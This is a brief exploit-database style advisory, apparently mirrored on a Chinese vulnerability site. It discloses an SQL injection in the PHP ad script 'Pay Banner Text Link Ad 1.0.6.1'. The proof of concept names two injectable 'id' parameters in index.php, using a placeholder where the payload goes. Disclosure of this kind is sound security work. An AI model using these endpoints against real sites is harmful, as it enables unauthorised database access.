发布 2017-09-06 漏洞条目

Pay Banner Text Link Ad 1.0.6.1 – SQL Injection

Exploit Source

# # # # #

# Exploit Title: Pay Banner Text Link Ad 1.0.6.1 - SQL Injection

# Dork: N/A

# Date: 06.09.2017

# Vendor Homepage: http://www.dijiteol.com/

# Software Link: http://www.dijiteol.com/p-Pay-Banner-Textlink-Ad-Pay-Banner-Advertisement-PHP-Script-i-1.html

# Demo: http://dijiteol.com/demos/pbtla

# Version: 1.0.6.1

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: N/A

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# # # # #

# Description:

# The vulnerability allows an users to inject sql commands....

# Proof of Concept:

# http://localhost/[PATH]/index.php?action=stats&id=[SQL]

# http://localhost/[PATH]/index.php?action=previewad&id=[SQL]

# Etc..

# # # # #

相关漏洞条目